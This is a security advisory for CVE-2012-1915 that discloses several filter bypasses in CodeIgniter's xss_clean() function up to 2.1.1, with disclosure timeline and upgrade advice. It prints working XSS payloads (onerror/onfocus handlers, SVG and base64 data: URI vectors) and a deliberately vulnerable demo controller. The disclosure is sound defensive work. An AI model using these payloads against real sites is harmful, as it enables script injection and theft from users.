CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass

This is a security advisory for popular PHP framework - CodeIgniter. I've found several bypasses in xss sanitization functions in the framework. These were responsibly disclosed to the vendor and are now fixed in version 2.1.2. (CVE-2012-1915).

Affected products

CodeIgniter <= 2.1.1 PHP framework and all CodeIgniter-based PHP applications using its built-in XSS filtering mechanism.

CVE

CVE-2012-1915

Introduction

CodeIgniter ( http://codeigniter.com) is a powerful PHP framework with a very small footprint, built for PHP coders who need a simple and elegant toolkit to create full-featured web applications. CodeIgniter comes with a Cross Site Scripting Hack prevention filter which can either run automatically to filter all POST and COOKIE data that is encountered, or you can run it on a per item basis. Several vectors bypassing claimed XSS filter protections have been found in 2.1.0 version of the framework. In cooperation with vendor, these have been fixed in version 2.1.2.

Description

XSS filter of CodeIgniter framework is implemented in xss_clean() function defined in system/core/Security.php file. It uses multiple, mostly blacklist-oriented methods to detect and remove XSS payloads from the passed input. As per documentation of the filter ( http://codeigniter.com/user_guide/libraries/security.html ) the filter is supposed to be run on input passed to the application e.g. before saving data in the database i.e. it's not an output-escaping, but input sanitizing filter.

There are multiple ways to bypass the current version of the filters, exemplary vectors are given below:

Different attribute separators and invalid regexp detecting tag closure too early (see also autofocus trick)

<img/src=">" onerror=alert(1)>
<button/a=">" autofocus onfocus=alert&#40;1&#40;></button>
<button a=">" autofocus onfocus=alert&#40;1&#40;>

Opera 11 svg bypass (by Mario Heiderich)

<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"><feImage> <set
attributeName="xlink:href"
to="data:image/svg+xml;charset=utf-8;base64,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
</feImage> </svg>

data: URI with base64 encoding bypass exploiting Firefox origin-inheritance for data:uris

<a target="_blank"
href="data:text/html;BASE64youdummy,PHNjcmlwdD5hbGVydCh3aW5kb3cub3BlbmVyLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5pbm5lckhUTUwpPC9zY3JpcHQ+">clickme
in firefox</a>
<a/''' target="_blank"
href=data:text/html;;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpPC9zY3JpcHQ+>firefox11</a>

These exemplary bypasses may be used to cause both reflected and stored XSS attacks depending on the way the application built with CodeIgniter uses the input filtering mechanism.

Proof of concept

Build an application on CodeIgniter 2.1.0:

// application/controllers/xssdemo.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Xssdemo extends CI_Controller {

        public function index() {
            $data['xss'] = $this->security->xss_clean($this->input->post('xss'));
            $this->load->view('xssdemo', $data);
        }
}

// application/views/xssdemo.php
<form method=post>
                <textarea name=xss><?php echo htmlspecialchars($xss); ?></textarea>
                <input type=submit />
                </form>
        <p>XSS:
        <hr />
    <?php echo $xss ?>

Launch http://app-uri/index.php/xssdemo and try above vectors.

Mitigation

Upgrade to CodeIgniter >= 2.1.2. Avoid using xss-clean() function. It's based on multiple blacklists and will therefore unavoidably be bypassable in the future. For input filtering, use HTMLPurifier ( http://htmlpurifier.org/ ) instead.

Credits

Vulnerability found by Krzysztof Kotowicz <kkotowicz at gmail dot com>
http://blog.kotowicz.net

Timeline

2012.03.30 - Notified vendor

2012.04.02 - Vendor response

2012.04.03 - 2012.04.10 - Fixes coordinated with vendor

2012.06.29 - v 2.1.2 released with fixes included

2012.07.19 - Public disclosure